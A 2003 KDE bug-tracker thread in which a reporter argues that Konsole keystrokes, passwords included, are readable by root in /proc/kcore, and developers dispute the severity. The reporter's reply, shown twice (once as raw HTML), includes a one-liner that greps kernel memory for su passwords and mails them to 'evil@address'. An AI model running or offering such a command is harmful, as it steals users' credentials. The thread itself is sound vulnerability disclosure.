Version: 1.2.3 (using KDE KDE 3.1.4) Installed from: Compiled From Sources Compiler: 2.95.3 OS: Linux The Konsole-application leaks information; every single keystroke that is typed into the terminal emulation screen is visible in /proc/kcore. Of course, you have to be root to be able to view the kernel memory, but there are some security- and privacy concerns nonetheless. Every password or passphrase that is used when you SSH or telnet to a machine from the Konsole screen, is all ``logged'' into kernel memory. An example; all done from within Konsole: 1. SSH or telnet to a machine you have a root-password to. 2. ``su -'' to root. 3. Type exit twice to return to the local prompt. Then, as root, 4. Do ``less /proc/kcore'' and look for ``ssh hostname'' (the thing you typed in to connect to the machine). See the ``su -'' command near it? And the password you used next to it? Not a desirable feature, as this would enable ``root'' to spy on the passphrases, passwords, etc. that are used in *any* Konsole screen. The consequences of this bug are obvious.
Thank you for your concerns. The privacy/security concerns that you mention are unfortunately inherent to the issue of entering confidential information in a system that is under control by someone else (in this case the root user) As such we are not able to address them.
The problem is that once you have the root privileges necessary to read /proc/kcore you don't have to rely on something as unreliably as reading the kernel memory. You can just replace the /usr/bin/ssh binary with a version that writes your entered password to a hidden logfile. such backdoor patches to ssh are commonly available on the web. There are even patches to /bin/bash that will log every keystroke you make.
Subject: Re: Information leak of keystrokes. Yes, I am aware of the fact that the root-user can do everything anyway, but please let me elaborate on the severity of this issue. If a bad admin, like you say, would recompile the SSH daemon or put a trojaned version of bash in place is at least some form of bridge that needs to be blown up. Also, these kind of alterations to the filesystem will definitely trigger an intrusion detection system as files change, etc. and alert his fellow administrators. This reading kproc is very, *very* easily done. I have compiled my own SSH daemon, I therefor assume that is a 100% safe, and my colleague goes off and steals all my passphrases. No need to install keyloggers, network-sniffers or compromise the machine in anyway. Imagine an office environment where the users do not root-access. They still think they have some form of privacy while SSH-ing to their box at home. The administrator is now able to easily snoop all their passphrases and passwords, possibly chat-logs and emails, while they have the impression it's 2048 bit key encrypted. This is a very serious thing I worry about. Or, imagine a compromised machine. A usual intruder does not trojan sshd, ftpd, login and telnet *immediately*. In stead he emails himself, among other things like SSH-keys, the password-file to slam a brute-forcer against it. Then he hangs around a bit, and when he has the impression he is undetected he installs the rootkit, and then the logging of passwords can begin. But now, upon intrusion, in addition of having the hashed password-file of a machine, he now also has a few passwords. Passwords that were even entered on *other*, remote machines, which this person then can go and compromise. It's really amazing what a grep -a -A2 -B2 "su -" /proc/kcore | mmencode | mail "evil@address" can do for him. Also, the privacy of a user cannot be ignored; some programs internally encrypt command-line or stdin passed passwords and overwrite the argv[] string if necessary to guarantee privacy. Now the password is right there in kproc. (This, incidentally, was what I was working on when I discovered this information leak in Konsole, so I know I am not the only one who sees security and privacy issues with this when running KDE in an office environment.) In conclusion: even the root user should not and *may* not have this easy access to a complete log of a user's typed-in commands, passwords and passphrases; not from accounts on the local machines and definitely not those entered on remote machines. This is a serious issue that needs to be addressed, and I hope you see this now too. Best regards, Hugo van Galen Dirk Mueller wrote: >------- You are receiving this mail because: ------- >You reported the bug, or are watching the reporter. > >http://bugs.kde.org/show_bug.cgi?id=68742 > > > > >------- Additional Comments From mueller@kde.org 2003-11-21 18:38 ------- >The problem is that once you have the root privileges necessary >to read /proc/kcore you don't have to rely on something as unreliably >as reading the kernel memory. You can just replace the /usr/bin/ssh >binary with a version that writes your entered password to a hidden >logfile. > >such backdoor patches to ssh are commonly available on the web. There >are even patches to /bin/bash that will log every keystroke you make. > > <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"> <title></title> </head> <body text="#000000" bgcolor="#ffffff"> <font face="Helvetica, Arial, sans-serif">Yes, I am aware of the fact that the root-user can do everything anyway, but please let me elaborate on the severity of this issue.<br> <br> If a bad admin, like you say, would recompile the SSH daemon or put a trojaned version of bash in place is at least some form of bridge that needs to be blown up. Also, these kind of alterations to the filesystem will definitely trigger an intrusion detection system as files change, etc. and alert his fellow administrators. This reading kproc is very, *very* easily done.<br> </font><font face="Helvetica, Arial, sans-serif"><br> I have compiled my own SSH daemon, I therefor assume that is a 100% safe, and my colleague goes off and steals all my passphrases. No need to install keyloggers, network-sniffers or compromise the machine in anyway.<br> </font><br> <font face="Helvetica, Arial, sans-serif">Imagine an office environment where the users do not root-access. They still think they have some form of privacy while SSH-ing to their box at home. The administrator is now able to easily snoop all their passphrases and passwords, possibly chat-logs and emails, while they have the impression it's 2048 bit key encrypted.<br> <br> This is a very serious thing I worry about.<br> <br> Or, imagine a compromised machine. A usual intruder does not trojan sshd, ftpd, login and telnet *immediately*. In stead he emails himself, among other things like SSH-keys, the password-file to slam a brute-forcer against it. Then he hangs around a bit, and when he has the impression he is undetected he installs the rootkit, and then the logging of passwords can begin.<br> <br> </font><font face="Helvetica, Arial, sans-serif">But now, upon intrusion, in addition of having the hashed password-file of a machine, he now also has a few passwords. Passwords that were even entered on *other*, remote machines, which this person then can go and compromise. <br> <br> </font><font face="Helvetica, Arial, sans-serif">It's really amazing what a <font face="Courier New, Courier, monospace">grep -a -A2 -B2 "su -" /proc/kcore | mmencode | mail "evil@address"</font> can do for him. </font><font face="Helvetica, Arial, sans-serif"><br> <br> Also, the privacy of a user cannot be ignored; </font><font face="Helvetica, Arial, sans-serif">some programs internally encrypt command-line or stdin passed passwords and overwrite the argv[] string if necessary to guarantee privacy. Now the password is right there in kproc. (This, incidentally, was what I was working on when I discovered this information leak in Konsole, so </font><font face="Helvetica, Arial, sans-serif">I know I am not the only one who sees security and privacy issues with this when running KDE in an office environment.)<br> <br> In conclusion: even the root user should not and *may* not have this easy access to a complete log of a user's typed-in commands, passwords and passphrases; not from accounts on the local machines and definitely not those entered on remote machines.<br> <br> T</font><font face="Helvetica, Arial, sans-serif">his is a serious issue that needs to be addressed, and I hope you see this now too.<br> <br> <br> </font><font face="Helvetica, Arial, sans-serif">Best regards,<br> Hugo van Galen<br> <br> </font><br> Dirk Mueller wrote:<br> <blockquote type="cite" cite="mid20031121173820.13865.qmail@ktown.kde.org"> <pre wrap="">------- You are receiving this mail because: ------- You reported the bug, or are watching the reporter. <a class="moz-txt-link-freetext" href="http://bugs.kde.org/show_bug.cgi?id=68742">http://bugs.kde.org/show_bug.cgi?id=68742</a> ------- Additional Comments From <a class="moz-txt-link-abbreviated" href="mailto:mueller@kde.org">mueller@kde.org</a> 2003-11-21 18:38 ------- The problem is that once you have the root privileges necessary to read /proc/kcore you don't have to rely on something as unreliably as reading the kernel memory. You can just replace the /usr/bin/ssh binary with a version that writes your entered password to a hidden logfile. such backdoor patches to ssh are commonly available on the web. There are even patches to /bin/bash that will log every keystroke you make. </pre> </blockquote> <br> </body> </html>
I kinda agree with the poster here. Even if we can't make thinks perfectly safe (we cannot), that doesn't mean we have to facilitate the life of an attacker. Encrypting memory is a no-go. But why does Konsole log keystrokes?
What makes you think that the memory where these keystrokes appear are part of Konsole and not an internal kernel buffer, for example the one associated with stdin of the ssh process.
Subject: Re: Information leak of keystrokes. I am sure of that because, - This behavior does not happen on my normal console, without X being run. No matter if I telnet or SSH, my keystrokes are not there. - I've eliminated X windows as a cause, because I have not seen the keystrokes I do in my IRC client or mail client & browser. In the meanwhile friends of mine and I have performed some tests on other machines, and I have also noted that this same behavior seems to happen in xterm and gnome-terminal, so I was thinking maybe this bug lies in the way the stdin and stdout are piped from the `real' shell process that runs to the graphical one. But that is still no reason to step back from this issue. I totally see the logic that my commands are there because of my history buffer or because it has to be drawn on the screen, but I mean, I'm even seeing the typo's in am making. Even if it is in the fact it is an internal kernel buffer, or because of memory not being cleared after you are done with it, the flaw lies in the way it is used. It seems to me there can be a workaround implemented for this. I am a paranoid computer user, and in regards to security and privacy I am not at all impressed with this behavior, and this issue seriously refrains me from using these programs. I was very happy with all of Konsole's features, until this. Users privacy must be protected. No matter how you look at it, root has no business with their keystrokes. And wouldn't it be cool that you can say in the ChangeLog that you've solved a major privacy issue, fixing an information leak that the other terminal emulation programs still suffer from, which can have serious security implications? :) PS: Sorry for the HTML embedded message earlier. Waldo Bastian wrote: >------- You are receiving this mail because: ------- >You reported the bug, or are watching the reporter. > >http://bugs.kde.org/show_bug.cgi?id=68742 > > > > >------- Additional Comments From bastian@kde.org 2003-11-22 12:37 ------- >What makes you think that the memory where these keystrokes appear are part of Konsole and not an internal kernel buffer, for example the one associated with stdin of the ssh process. > >